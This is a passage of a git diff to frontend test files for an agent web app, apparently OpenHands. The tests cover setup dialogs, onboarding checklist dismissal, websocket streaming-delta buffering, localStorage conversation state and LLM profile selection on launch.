}, + }), + }); +})(); + +/** An entry that ships a script bundle rather than a prompt. */ +const BUNDLE_ENTRY: SetupEntry = createSetupEntry({ + setup: createSetup({ + prompt: undefined, + bundle: { + version: "1.0.0", + entrypoint: "python3 main.py", + files: { "main.py": "skills/widget-monitor/scripts/main.py" }, + config: { repos: ["{{form.repository}}"] }, + }, + }), +}); + /** A deployment that answered discovery and came up short. */ const UNSUPPORTED = { capabilities: null, @@ -211,7 +253,11 @@ describe("SetupDialog", () => { replace: true, }), ); - expect(mocks.runAction).toHaveBeenCalledWith(entry, expect.anything(), null); + expect(mocks.runAction).toHaveBeenCalledWith( + entry, + expect.anything(), + null, + ); }); it("keeps the unsupported screen close-only when there is nothing to fall back to", () => { @@ -224,6 +270,42 @@ describe("SetupDialog", () => { expect(screen.queryByTestId("setup-fallback-conversation")).toBeNull(); }); + it("carries a repository typed but not added through to the review step", async () => { + // Arrange — the list is built by adding entries, and the input still shows + // what was typed when the user reaches for Continue. + const { user } = renderDialog(MULTI_REPO_ENTRY); + await user.type(screen.getByTestId("setup-field-widgetName"), "Widgets"); + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/automation", + ); + + // Act — Continue, without pressing Add or Enter first. + await user.click(screen.getByTestId("setup-continue-button")); + + // Assert — the answer the user could still see is the one being confirmed. + await waitFor(() => + expect(screen.getByTestId("setup-review")).toBeInTheDocument(), + ); + expect(screen.getByTestId("setup-review")).toHaveTextContent( + "OpenHands/automation", + ); + }); + + it("refuses an entry the published interface declares no way to create", async () => { + // Arrange — a bundle entry against an interface manifest published before + // bundles: neither endpoint it needs exists, and no answer supplies them. + mocks.missingCreateEndpoints.mockReturnValue(["createBundle", "uploads"]); + renderDialog(BUNDLE_ENTRY); + + // Assert — said before the form, rather than as a Continue button that + // silently does nothing once the form is filled in. + expect(screen.getByTestId("setup-unmet-requirements")).toHaveTextContent( + "createBundle, uploads", + ); + expect(screen.queryByTestId("setup-field-widgetName")).toBeNull(); + }); + it("returns a rejected create to the field the service blamed", async () => { // Arrange — a validation failure addressed by payload path, which only the // derived error map can turn back into a field. diff --git a/__tests__/components/onboarding/onboarding-modal.test.tsx b/__tests__/components/onboarding/onboarding-modal.test.tsx index 260805e7d60d..b369919e6497 100644 --- a/__tests__/components/onboarding/onboarding-modal.test.tsx +++ b/__tests__/components/onboarding/onboarding-modal.test.tsx @@ -14,6 +14,7 @@ import { import { ActiveBackendProvider } from "#/contexts/active-backend-context"; import { OnboardingModal } from "#/components/features/onboarding/onboarding-modal"; import { ONBOARDING_DEFAULT_LLM_MODEL } from "#/components/features/onboarding/steps/setup-llm-step"; +import { SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY } from "#/components/features/sidebar/sidebar-onboarding-checklist.constants"; import { NavigationProvider } from "#/context/navigation-context"; import SettingsService from "#/api/settings-service/settings-service.api"; import { SecretsService } from "#/api/secrets-service"; @@ -174,7 +175,10 @@ function seedCloudBackend() { return backend; } -function renderModal(onClose = vi.fn()) { +function renderModal( + onClose = vi.fn(), + options?: { initialStep?: number }, +) { const queryClient = new QueryClient({ defaultOptions: { queries: { retry: false } }, }); @@ -188,7 +192,10 @@ function renderModal(onClose = vi.fn()) { - + , @@ -735,6 +742,12 @@ describe("OnboardingModal", () => { const scrollArea = screen.getByTestId("onboarding-scroll-area"); const rail = screen.getByTestId("onboarding-slide-rail"); expect(scrollArea.contains(rail)).toBe(true); + // Bottom padding matches the header (`pt-7`) so the last control is + // not flush against the modal edge. The region must size to its + // content (`min-h-0` + overflow, no `flex-1`) so a content-fitting + // step does not paint a leftover scrollbar. + expect(scrollArea).toHaveClass("pb-7"); + expect(scrollArea).not.toHaveClass("flex-1"); }); it("keeps the LLM step heading and Back/Next outside the scrollable settings body", async () => { @@ -1128,4 +1141,49 @@ describe("OnboardingModal", () => { ); }); }); + + describe("Getting Started checklist skip", () => { + it("renders a centered skip checkbox below the modal on Say Hello", async () => { + renderModal(vi.fn(), { initialStep: 3 }); + + await waitFor(() => { + expect( + screen.getByTestId("onboarding-step-say-hello"), + ).toBeInTheDocument(); + }); + + const checkbox = screen.getByTestId( + "onboarding-skip-getting-started-checklist", + ); + expect(checkbox).toBeInTheDocument(); + expect(checkbox).not.toBeChecked(); + expect( + screen.getByText("ONBOARDING$SKIP_GETTING_STARTED_CHECKLIST"), + ).toBeInTheDocument(); + + const modal = screen.getByTestId("onboarding-modal"); + expect(modal.contains(checkbox)).toBe(false); + }); + + it("persists dismissal when the skip checkbox is checked", async () => { + const user = userEvent.setup(); + renderModal(vi.fn(), { initialStep: 3 }); + + await waitFor(() => { + expect( + screen.getByTestId("onboarding-skip-getting-started-checklist"), + ).toBeInTheDocument(); + }); + + await user.click( + screen.getByTestId("onboarding-skip-getting-started-checklist"), + ); + + expect( + window.localStorage.getItem( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY, + ), + ).toBe("true"); + }); + }); }); diff --git a/__tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx b/__tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx new file mode 100644 index 000000000000..cf9eb8ada0f3 --- /dev/null +++ b/__tests__/components/settings/app-settings/getting-started-checklist-switch.test.tsx @@ -0,0 +1,48 @@ +import { beforeEach, describe, expect, it } from "vitest"; +import { render, screen } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { GettingStartedChecklistSwitch } from "#/components/features/settings/app-settings/getting-started-checklist-switch"; +import { SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY } from "#/components/features/sidebar/sidebar-onboarding-checklist.constants"; +import { readSidebarOnboardingChecklistDismissed } from "#/components/features/sidebar/sidebar-onboarding-checklist-storage"; + +describe("GettingStartedChecklistSwitch", () => { + beforeEach(() => { + window.localStorage.clear(); + }); + + it("shows the checklist by default and hides it when toggled off", async () => { + const user = userEvent.setup(); + render(); + + const toggle = screen.getByTestId("show-getting-started-checklist-switch"); + expect(toggle).toBeChecked(); + expect(readSidebarOnboardingChecklistDismissed()).toBe(false); + + await user.click(toggle); + + expect(toggle).not.toBeChecked(); + expect( + window.localStorage.getItem( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY, + ), + ).toBe("true"); + }); + + it("re-enables the checklist when toggled back on", async () => { + window.localStorage.setItem( + SIDEBAR_ONBOARDING_CHECKLIST_DISMISSED_STORAGE_KEY, + "true", + ); + + const user = userEvent.setup(); + render(); + + const toggle = screen.getByTestId("show-getting-started-checklist-switch"); + expect(toggle).not.toBeChecked(); + + await user.click(toggle); + + expect(toggle).toBeChecked(); + expect(readSidebarOnboardingChecklistDismissed()).toBe(false); + }); +}); diff --git a/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx b/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx index 588854ad038f..c8c8dc5e67a8 100644 --- a/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx +++ b/__tests__/components/settings/llm-profiles/llm-settings-local-view.test.tsx @@ -16,6 +16,7 @@ import ProfilesService from "#/api/profiles-service/profiles-service.api"; vi.mock("#/routes/llm-settings", async () => { const React = await vi.importActual("react"); return { + LLM_PROVIDER_CONNECTION_KEY: "llm.provider_connection_id", LlmSettingsScreen: ({ initialValueOverrides, onSaveControlChange, @@ -654,6 +655,30 @@ describe("LlmSettingsLocalView", () => { await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled()); }, ); + + it("skips pre-flight validation for a connection-linked profile", async () => { + // A linked profile carries no inline key — its credential lives on the + // provider connection — so there is nothing on this profile to pre-flight. + const user = userEvent.setup(); + vi.mocked(ProfilesService.getProfile).mockResolvedValue({ + name: "gpt-4-profile", + api_key_set: true, + config: { + model: "anthropic/claude-sonnet-4", + provider_connection_id: "conn1", + }, + }); + mockSaveMutateAsync.mockResolvedValue({ success: true }); + renderWithProviders(); + await openEditView(user); + await waitFor(() => { + expect(screen.getByTestId("save-profile-btn")).not.toBeDisabled(); + }); + await user.click(screen.getByTestId("save-profile-btn")); + + await waitFor(() => expect(mockSaveMutateAsync).toHaveBeenCalled()); + expect(ProfilesService.validateProfile).not.toHaveBeenCalled(); + }); }); describe("Basic tab save", () => { diff --git a/__tests__/constants/extensions-catalogs.test.ts b/__tests__/constants/extensions-catalogs.test.ts index 62994dbba2a6..fd11c6eedd98 100644 --- a/__tests__/constants/extensions-catalogs.test.ts +++ b/__tests__/constants/extensions-catalogs.test.ts @@ -72,9 +72,17 @@ describe("OpenHands extensions catalogs", () => { const knownMcpIds = new Set(INTEGRATION_CATALOG.map((entry) => entry.id)); for (const automation of AUTOMATION_CATALOG) { const integrationIds = getIntegrationIds(automation); - expect(integrationIds.length).toBeGreaterThan(0); expect(integrationIds.every((id) => knownMcpIds.has(id))).toBe(true); } + + // Declaring none is legitimate — `news-digest` connects to nothing — so the + // resolution above is only worth asserting while some entry still declares + // one. Without this the loop above would pass over an empty catalog. + expect( + AUTOMATION_CATALOG.some( + (automation) => getIntegrationIds(automation).length > 0, + ), + ).toBe(true); }); it("admits every setup experience the automation catalog ships", () => { diff --git a/__tests__/contexts/conversation-websocket-context.test.tsx b/__tests__/contexts/conversation-websocket-context.test.tsx index 3c0f39288b90..e73cba07ab01 100644 --- a/__tests__/contexts/conversation-websocket-context.test.tsx +++ b/__tests__/contexts/conversation-websocket-context.test.tsx @@ -10,6 +10,7 @@ import { useBrowserStore } from "#/stores/browser-store"; import { useCommandStore } from "#/stores/command-store"; import { useErrorMessageStore } from "#/stores/error-message-store"; import { useUserConversation } from "#/hooks/query/use-user-conversation"; +import { useWebSocket } from "#/hooks/use-websocket"; import EventService from "#/api/event-service/event-service.api"; import { getStoredConversationMetadata, @@ -17,6 +18,7 @@ import { } from "#/api/conversation-metadata-store"; import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; import type { MessageEvent } from "#/types/agent-server/core"; +import { isStreamingDeltaEvent } from "#/types/agent-server/type-guards"; type CapturedWebSocketOptions = { onMessage?: (event: { data: string }) => void; @@ -217,6 +219,83 @@ describe("ConversationWebSocketProvider — conversation-scoped event store", () ); }); + it("keeps the events socket up, with its `since` anchor, across background history refetches", async () => { + // Arrange: the initial history load resolves; the background refetch stays + // in flight so the query sits in `isFetching` while the socket is already + // established — the state that used to tear the socket down and leave the + // conversation stuck at "Connecting". + const historyPage = () => ({ + items: [createUserMessageEvent("user-msg-conv-refetch")], + next_page_id: null, + }); + let resolveRefetch!: ( + page: Awaited>, + ) => void; + vi.spyOn(EventService, "searchEvents") + .mockResolvedValueOnce(historyPage()) + .mockImplementationOnce( + () => + new Promise>>( + (resolve) => { + resolveRefetch = resolve; + }, + ), + ); + + render( + + +
+ + , + ); + await waitFor(() => expect(wsCapture.mainOptions).not.toBeNull()); + + // Every render's main-socket call (the one carrying `resend_mode`), + // including any teardown call with an empty URL. + const mainCalls = () => + vi + .mocked(useWebSocket) + .mock.calls.filter( + ([, options]) => + options?.queryParams && "resend_mode" in options.queryParams, + ); + const connectedAt = mainCalls().length; + const anchor = wsCapture.mainOptions?.queryParams?.after_timestamp; + expect(anchor).toBeTruthy(); + + // Act: a background refetch starts (as `refetchOnMount: "always"` fires + // when returning to a conversation) and stays in flight. + act(() => { + void queryClient.refetchQueries({ queryKey: ["conversation-history"] }); + }); + await waitFor(() => + expect( + queryClient.isFetching({ queryKey: ["conversation-history"] }), + ).toBe(1), + ); + + // Assert: since the socket connected, no render tore it down (empty URL) + // and none degraded the `since` anchor to a full resend. + for (const [url, options] of mainCalls().slice(connectedAt - 1)) { + expect(url).toContain("/sockets/events/conv-refetch"); + expect(options?.queryParams).toMatchObject({ + resend_mode: "since", + after_timestamp: anchor, + }); + } + + // The refetch settling must not churn the socket either. + await act(async () => { + resolveRefetch(historyPage()); + }); + const [urlAfterRefetch] = mainCalls().at(-1)!; + expect(urlAfterRefetch).toContain("/sockets/events/conv-refetch"); + }); + it("uses the planning sub-conversation session key", async () => { const mainSessionApiKey = `sk-oh-main-${"m".repeat(48)}`; const planningSessionApiKey = `sk-oh-plan-${"p".repeat(48)}`; @@ -680,6 +759,125 @@ describe("ConversationWebSocketProvider — conversation-scoped event store", () expect(eventIds()).toHaveLength(2); }); + const makeStreamingDelta = (id: string, content: string) => ({ + id, + timestamp: new Date().toISOString(), + source: "agent", + kind: "StreamingDeltaEvent", + content, + reasoning_content: null, + }); + + const makeAgentMessage = (id: string, text: string): MessageEvent => ({ + id, + timestamp: new Date(Date.now() + 1000).toISOString(), + source: "agent", + llm_message: { role: "assistant", content: [{ type: "text", text }] }, + activated_skills: [], + extended_content: [], + }); + + const renderProviderWithUrl = (conversationId: string) => + render( + + +
+ + , + ); + + it("buffers streaming deltas, then flushes them (reconciled) when the final message arrives", async () => { + renderProviderWithUrl("conv-stream"); + await waitFor(() => expect(wsCapture.mainOnMessage).not.toBeNull()); + await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-stream"])); + + // Deltas arrive: they are buffered by the batcher, NOT committed per token. + act(() => { + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeStreamingDelta("d1", "I'll help")), + }); + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeStreamingDelta("d2", " with that.")), + }); + }); + expect(eventIds()).toEqual(["user-msg-conv-stream"]); + + // The final agent message is a non-delta event: the handler flushes the + // buffered deltas first, so the message reconciles the streamed text in + // place instead of racing ahead of it. + act(() => { + wsCapture.mainOnMessage!({ + data: JSON.stringify( + makeAgentMessage("agent-final", "I'll help with that. Done."), + ), + }); + }); + + const { uiEvents, eventIds: ids } = useEventStore.getState(); + // One reconciled agent bubble: the canonical final message supersedes the + // flushed deltas, so the streamed text renders once and is never duplicated. + expect(uiEvents).toHaveLength(2); + const bubble = uiEvents[1] as MessageEvent; + expect(bubble.id).toBe("agent-final"); + expect(bubble.llm_message.content).toEqual([ + { type: "text", text: "I'll help with that. Done." }, + ]); + expect(uiEvents.some((event) => isStreamingDeltaEvent(event))).toBe(false); + // eventIds tracks the two durable events, never the deltas. + expect(ids.size).toBe(2); + }); + + it("discards buffered deltas from the previous conversation on switch", async () => { + const { rerender } = renderProviderWithUrl("conv-a"); + await waitFor(() => expect(wsCapture.mainOnMessage).not.toBeNull()); + await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-a"])); + + // Buffer deltas for A, then switch to B before they flush. + act(() => { + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeStreamingDelta("a1", "STALE")), + }); + }); + rerender( + + +
+ + , + ); + await waitFor(() => expect(eventIds()).toEqual(["user-msg-conv-b"])); + + // B streams and finalizes. If the switch had NOT reset the batcher, A's + // "STALE" delta would still be buffered and merge into B's stream here. + act(() => { + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeStreamingDelta("b1", "fresh")), + }); + wsCapture.mainOnMessage!({ + data: JSON.stringify(makeAgentMessage("agent-b", "fresh.")), + }); + }); + + const { uiEvents, events } = useEventStore.getState(); + expect(uiEvents).toHaveLength(2); + expect((uiEvents[1] as MessageEvent).llm_message.content).toEqual([ + { type: "text", text: "fresh." }, + ]); + // The committed delta carries B's text only — had A's buffer survived the + // switch it would have merged in ahead of it as "STALEfresh". + const committedDeltas = events.filter((event) => + isStreamingDeltaEvent(event), + ); + expect(committedDeltas.map((delta) => delta.content)).toEqual(["fresh"]); + expect(JSON.stringify(events)).not.toContain("STALE"); + }); + it("consumes the optimistic pending bubble when the echoed user message arrives via REST preload", async () => { // Arrange: a cloud start-task conversation left a "Sending…" bubble whose // content matches the first message the server has already persisted. With diff --git a/__tests__/conversation-local-storage.test.ts b/__tests__/conversation-local-storage.test.ts index 07571b36e904..b2b6dc430852 100644 --- a/__tests__/conversation-local-storage.test.ts +++ b/__tests__/conversation-local-storage.test.ts @@ -50,51 +50,37 @@ describe("conversation localStorage utilities", () => { expect(state.selectedTab).toBe("terminal"); }); - it("silently drops the legacy rightPanelShown field from older persisted blobs", () => { - // Older builds persisted the right-drawer state alongside the - // selected tab. The schema no longer carries that field — verify - // the read path strips it instead of leaking the unknown property - // onto consumers (and that legacy `false` values don't somehow - // pin the panel closed forever). - const conversationId = "conv-legacy-right-panel"; - const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - localStorage.setItem( - key, - JSON.stringify({ - selectedTab: "terminal", - rightPanelShown: false, - unpinnedTabs: ["browser"], - }), - ); + it("round-trips rightPanelShown through localStorage", () => { + const conversationId = "conv-right-panel"; + setConversationState(conversationId, { + selectedTab: "terminal", + rightPanelShown: true, + unpinnedTabs: ["browser"], + }); const state = getConversationState(conversationId); expect(state.selectedTab).toBe("terminal"); expect(state.unpinnedTabs).toEqual(["browser"]); - expect(state).not.toHaveProperty("rightPanelShown"); + expect(state.rightPanelShown).toBe(true); }); - it("also drops legacy rightPanelShown: true (not just the falsy variant)", () => { - // Older builds could persist either boolean. The previous test - // covered `false`; this one covers `true` so an upgrading user - // with the drawer open can't have it leak through into the new - // schema either. - const conversationId = "conv-legacy-right-panel-true"; + it("defaults rightPanelShown to false and drops corrupt values", () => { + expect(getConversationState("conv-right-panel-default").rightPanelShown).toBe( + false, + ); + + const conversationId = "conv-right-panel-corrupt"; const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; localStorage.setItem( key, JSON.stringify({ selectedTab: "terminal", - rightPanelShown: true, - unpinnedTabs: ["browser"], + rightPanelShown: "yes", }), ); - const state = getConversationState(conversationId); - - expect(state.selectedTab).toBe("terminal"); - expect(state.unpinnedTabs).toEqual(["browser"]); - expect(state).not.toHaveProperty("rightPanelShown"); + expect(getConversationState(conversationId).rightPanelShown).toBe(false); }); it("returns default state when key is missing or invalid", () => { @@ -160,6 +146,30 @@ describe("conversation localStorage utilities", () => { expect(state.subConversationTaskId).toBeNull(); expect(state.selectedTab).toBe("files"); expect(state.unpinnedTabs).toEqual([]); + expect(state.unpinnedOverviewSections).toEqual([]); + expect(state.unpinnedOverviewGitParts).toEqual([]); + }); + + it("persists and sanitizes unpinnedOverviewSections", () => { + const conversationId = "conv-overview-pins"; + setConversationState(conversationId, { + unpinnedOverviewSections: ["skills", "not-a-section", "mcp", "workspace"], + }); + + const state = getConversationState(conversationId); + // Legacy section ids (mcp/skills/secrets/…) are dropped by the allowlist. + expect(state.unpinnedOverviewSections).toEqual(["workspace"]); + }); + + it("persists and sanitizes unpinnedOverviewGitParts", () => { + const conversationId = "conv-overview-git-pins"; + setConversationState(conversationId, { + unpinnedOverviewGitParts: ["branch", "not-a-part", "issues"], + }); + + const state = getConversationState(conversationId); + // Legacy git part ids (issues) are dropped by the allowlist. + expect(state.unpinnedOverviewGitParts).toEqual(["branch"]); }); it("retrieves subConversationTaskId from localStorage when it exists", () => { @@ -217,14 +227,29 @@ describe("conversation localStorage utilities", () => { expect(state.selectedTab).toBe("files"); }); - it("filters obsolete tabs out of stored unpinnedTabs (changes / editor / served / app)", () => { - // Returning users may have unpinned the now-removed Changes, - // Editor, Served, or App tabs in a previous version. Those names + it("migrates a stored Diffs (changes) tab selection to Commits", () => { + const conversationId = "conv-123"; + const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; + + localStorage.setItem( + consolidatedKey, + JSON.stringify({ + selectedTab: "changes", + unpinnedTabs: [], + }), + ); + + const state = getConversationState(conversationId); + + expect(state.selectedTab).toBe("commits"); + }); + + it("filters obsolete tabs out of stored unpinnedTabs (editor / served / app / changes)", () => { + // Returning users may have unpinned the now-removed Editor, Served, + // App, or Diffs (`changes`) tabs in a previous version. Those names // should not survive the read — otherwise they linger forever in // localStorage since the UI has no way to surface them again to be - // re-pinned. We cover ALL four removed names here (the previous - // version of this test missed `app` and the gap let a denylist-vs- - // whitelist regression slip through review). + // re-pinned. const conversationId = "conv-123"; const consolidatedKey = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; @@ -238,8 +263,7 @@ describe("conversation localStorage utilities", () => { const state = getConversationState(conversationId); - // Only the still-valid `terminal` entry survives; all four - // obsolete names are dropped. + // Obsolete names are dropped; still-valid `terminal` stays. expect(state.unpinnedTabs).toEqual(["terminal"]); }); }); @@ -537,53 +561,19 @@ describe("conversation localStorage utilities", () => { }); }); - describe("filesTabDiffView persistence", () => { - // The diff-view toggle is per-conversation: in a git repo it - // defaults to ON, in a plain workspace it defaults to OFF, but the - // user's last explicit choice should win. Verify the boolean - // round-trips through localStorage and that the unset case stays - // `null` (so the higher layer can apply the repo-aware default). - - it("defaults to null when nothing is stored", () => { - const state = getConversationState("files-diff-conv-1"); - expect(state.filesTabDiffView).toBeNull(); - }); - - it("round-trips `true` through localStorage", () => { - const conversationId = "files-diff-conv-2"; - setConversationState(conversationId, { filesTabDiffView: true }); - - const state = getConversationState(conversationId); - expect(state.filesTabDiffView).toBe(true); - - // Also verify the on-disk shape — important because the consumer - // code reads it back via `JSON.parse`, so a wrong-type value would - // be a silent regression. - const raw = localStorage.getItem( + describe("filesTabDiffView preference", () => { + it("preserves filesTabDiffView from stored blobs on read", () => { + const conversationId = "files-diff-legacy"; + localStorage.setItem( `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`, + JSON.stringify({ + selectedTab: "files", + filesTabDiffView: true, + }), ); - expect(raw).not.toBeNull(); - expect(JSON.parse(raw as string).filesTabDiffView).toBe(true); - }); - - it("round-trips `false` through localStorage", () => { - const conversationId = "files-diff-conv-3"; - setConversationState(conversationId, { filesTabDiffView: false }); const state = getConversationState(conversationId); - expect(state.filesTabDiffView).toBe(false); - }); - - it("is isolated per conversation", () => { - setConversationState("files-diff-convA", { filesTabDiffView: true }); - setConversationState("files-diff-convB", { filesTabDiffView: false }); - - expect(getConversationState("files-diff-convA").filesTabDiffView).toBe( - true, - ); - expect(getConversationState("files-diff-convB").filesTabDiffView).toBe( - false, - ); + expect(state.filesTabDiffView).toBe(true); }); }); @@ -658,4 +648,45 @@ describe("conversation localStorage utilities", () => { expect(state.filesTabContentViewMode).toBe("rich"); }); }); + + describe("files tab open-state / tree persistence", () => { + it("defaults to an expanded tree and no open files", () => { + const state = getConversationState("files-open-defaults"); + expect(state.filesTabTreeVisible).toBe(true); + expect(state.filesTabOpenPaths).toEqual([]); + expect(state.filesTabSelectedPath).toBeNull(); + }); + + it("round-trips tree visibility and open tabs", () => { + const conversationId = "files-open-roundtrip"; + setConversationState(conversationId, { + filesTabTreeVisible: false, + filesTabOpenPaths: ["README.md", "src/main.ts"], + filesTabSelectedPath: "src/main.ts", + }); + + const state = getConversationState(conversationId); + expect(state.filesTabTreeVisible).toBe(false); + expect(state.filesTabOpenPaths).toEqual(["README.md", "src/main.ts"]); + expect(state.filesTabSelectedPath).toBe("src/main.ts"); + }); + + it("sanitizes corrupt open-state fields", () => { + const conversationId = "files-open-corrupt"; + const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; + localStorage.setItem( + key, + JSON.stringify({ + filesTabTreeVisible: "yes", + filesTabOpenPaths: ["ok.ts", 12, "", null], + filesTabSelectedPath: { path: "nope" }, + }), + ); + + const state = getConversationState(conversationId); + expect(state.filesTabTreeVisible).toBe(true); + expect(state.filesTabOpenPaths).toEqual(["ok.ts"]); + expect(state.filesTabSelectedPath).toBeNull(); + }); + }); }); diff --git a/__tests__/hooks/mutation/use-create-conversation.test.tsx b/__tests__/hooks/mutation/use-create-conversation.test.tsx index fd63adf2ace6..4f0c13333af8 100644 --- a/__tests__/hooks/mutation/use-create-conversation.test.tsx +++ b/__tests__/hooks/mutation/use-create-conversation.test.tsx @@ -98,6 +98,7 @@ describe("useCreateConversation", () => { useLlmProfilesMock.mockReturnValue({ data: { active_profile: null } }); removeStoredConversationMetadata("conv-with-plugins"); removeStoredConversationMetadata("conv-ref-stamp"); + removeStoredConversationMetadata("conv-dropdown-override"); }); it("passes suggested tasks to the V1 create conversation API", async () => { @@ -510,9 +511,11 @@ describe("useCreateConversation", () => { }); it("stamps the launched openhands profile's llm_profile_ref into conversation metadata (#1082)", async () => { - // A named (non-default) profile launches via the profile path and runs its - // own llm_profile_ref — which differs from the standalone active LLM - // profile — so the switcher pill must name the ref, not the active profile. + // A named (non-default) profile launches via the profile path when no + // dropdown selection exists (active_profile null — a differing selection + // would win the launch instead, #16539) and runs its own llm_profile_ref, + // so the switcher pill must name the ref, not the hook's stale cached + // active profile. useLlmProfilesMock.mockReturnValue({ data: { active_profile: "standalone-active" }, }); @@ -531,7 +534,7 @@ describe("useCreateConversation", () => { }); listLlmProfilesMock.mockResolvedValue({ profiles: [{ name: "claude" }], - active_profile: "standalone-active", + active_profile: null, }); const createConversationSpy = vi .spyOn(AgentServerConversationService, "createConversation") @@ -559,4 +562,185 @@ describe("useCreateConversation", () => { ).toBe("claude"), ); }); + + it("honors the home LLM dropdown selection over a named profile's pinned ref (#16539)", async () => { + // The home pill shows the account-wide active LLM profile, so when it + // differs from the active named profile's pinned llm_profile_ref the + // launch must run the selection: downgrade to the agent_settings path + // (which the dropdown activation syncs) and stamp the selected profile. + listAgentProfilesMock.mockResolvedValue({ + profiles: [ + { + id: "profile-luna", + name: "openhands-luna", + agent_kind: "openhands", + revision: 1, + llm_profile_ref: "pinned-model", + mcp_server_refs: null, + }, + ], + active_agent_profile_id: "profile-luna", + }); + listLlmProfilesMock.mockResolvedValue({ + profiles: [{ name: "pinned-model" }, { name: "selected-model" }], + active_profile: "selected-model", + }); + const createConversationSpy = vi + .spyOn(AgentServerConversationService, "createConversation") + .mockResolvedValue({ + id: "task-id", + app_conversation_id: "conv-dropdown-override", + agent_server_url: "http://agent-server.local", + } as never); + + const { result } = renderHook(() => useCreateConversation(), { + wrapper: ({ children }) => ( + + {children} + + ), + }); + + await result.current.mutateAsync({ query: "hello" }); + + const call = createConversationSpy.mock.lastCall; + expect(call?.[0]?.agentProfileId).toBeUndefined(); + await waitFor(() => + expect( + getStoredConversationMetadata("conv-dropdown-override")?.active_profile, + ).toBe("selected-model"), + ); + }); + + it("keeps the named profile path when the dropdown selection matches its pinned ref (#16539)", async () => { + listAgentProfilesMock.mockResolvedValue({ + profiles: [ + { + id: "profile-luna", + name: "openhands-luna", + agent_kind: "openhands", + revision: 1, + llm_profile_ref: "pinned-model", + mcp_server_refs: null, + }, + ], + active_agent_profile_id: "profile-luna", + }); + listLlmProfilesMock.mockResolvedValue({ + profiles: [{ name: "pinned-model" }], + active_profile: "pinned-model", + }); + const createConversationSpy = vi + .spyOn(AgentServerConversationService, "createConversation") + .mockResolvedValue({ + id: "task-id", + app_conversation_id: "conv-1", + agent_server_url: "http://agent-server.local", + } as never); + + const { result } = renderHook(() => useCreateConversation(), { + wrapper: ({ children }) => ( + + {children} + + ), + }); + + await result.current.mutateAsync({ query: "hello" }); + + const call = createConversationSpy.mock.lastCall; + expect(call?.[0]?.agentProfileId).toBe("profile-luna"); + }); + + it("keeps an explicitly-picked agent profile over the dropdown selection (#16539)", async () => { + // An explicit `agentProfileId` (the in-conversation profile picker) is a + // deliberate profile pick — its pinned ref stays authoritative even when + // the account-wide active LLM profile differs. + listAgentProfilesMock.mockResolvedValue({ + profiles: [ + { + id: "profile-luna", + name: "openhands-luna", + agent_kind: "openhands", + revision: 1, + llm_profile_ref: "pinned-model", + mcp_server_refs: null, + }, + ], + active_agent_profile_id: null, + }); + listLlmProfilesMock.mockResolvedValue({ + profiles: [{ name: "pinned-model" }, { name: "selected-model" }], + active_profile: "selected-model", + }); + const createConversationSpy = vi + .spyOn(AgentServerConversationService, "createConversation") + .mockResolvedValue({ + id: "task-id", + app_conversation_id: "conv-1", + agent_server_url: "http://agent-server.local", + } as never); + + const { result } = renderHook(() => useCreateConversation(), { + wrapper: ({ children }) => ( + + {children} + + ), + }); + + await result.current.mutateAsync({ + query: "hello", + agentProfileId: "profile-luna", + }); + + const call = createConversationSpy.mock.lastCall; + expect(call?.[0]?.agentProfileId).toBe("profile-luna"); + }); + + it("keeps the named profile path on cloud regardless of the active LLM profile (#16539)", async () => { + // The dropdown override is local-only, like the other downgrades: cloud + // has no agent_settings payload to fall back to. + mockUseActiveBackend.mockReturnValue({ + backend: { id: "cloud-1", kind: "cloud" }, + orgId: null, + }); + listAgentProfilesMock.mockResolvedValue({ + profiles: [ + { + id: "profile-luna", + name: "openhands-luna", + agent_kind: "openhands", + revision: 1, + llm_profile_ref: "pinned-model", + mcp_server_refs: null, + }, + ], + active_agent_profile_id: "profile-luna", + }); + listLlmProfilesMock.mockResolvedValue({ + profiles: [{ name: "pinned-model" }, { name: "selected-model" }], + active_profile: "selected-model", + }); + const createConversationSpy = vi + .spyOn(AgentServerConversationService, "createConversation") + .mockResolvedValue({ + id: "task-id", + app_conversation_id: "conv-1", + agent_server_url: "http://agent-server.local", + } as never); + + const { result } = renderHook(() => useCreateConversation(), { + wrapper: ({ children }) => ( + + {children} + + ), + }); + + await result.current.mutateAsync({ query: "hello" }); + + const call = createConversationSpy.mock.lastCall; + expect(call?.[0]?.agentProfileId).toBe("profile-luna"); + }); }); diff --git a/__tests__/hooks/mutation/use-switch-acp-model.test.tsx b/__tests__/hooks/mutation/use-switch-acp-model.test.tsx index 10c1a48352be..a7fb3aa8f18c 100644 --- a/__tests__/hooks/mutation/use-switch-acp-model.test.tsx +++ b/__tests__/hooks/mutation/use-switch-acp-model.test.tsx @@ -167,23 +167,23 @@ describe("useSwitchAcpModel", () => { }); }); - it("falls back to the agent-settings default when the profiles surface is unavailable", async () => { + it("does not persist to agent_settings when the profiles fetch fails", async () => { + // Discovery failure propagates instead of downgrading (#16523): an + // active-profile launch ignores agent_settings, so persisting the pick + // there would silently drop it. vi.mocked(AgentProfilesService.listProfiles).mockRejectedValue( - new Error("404"), + new 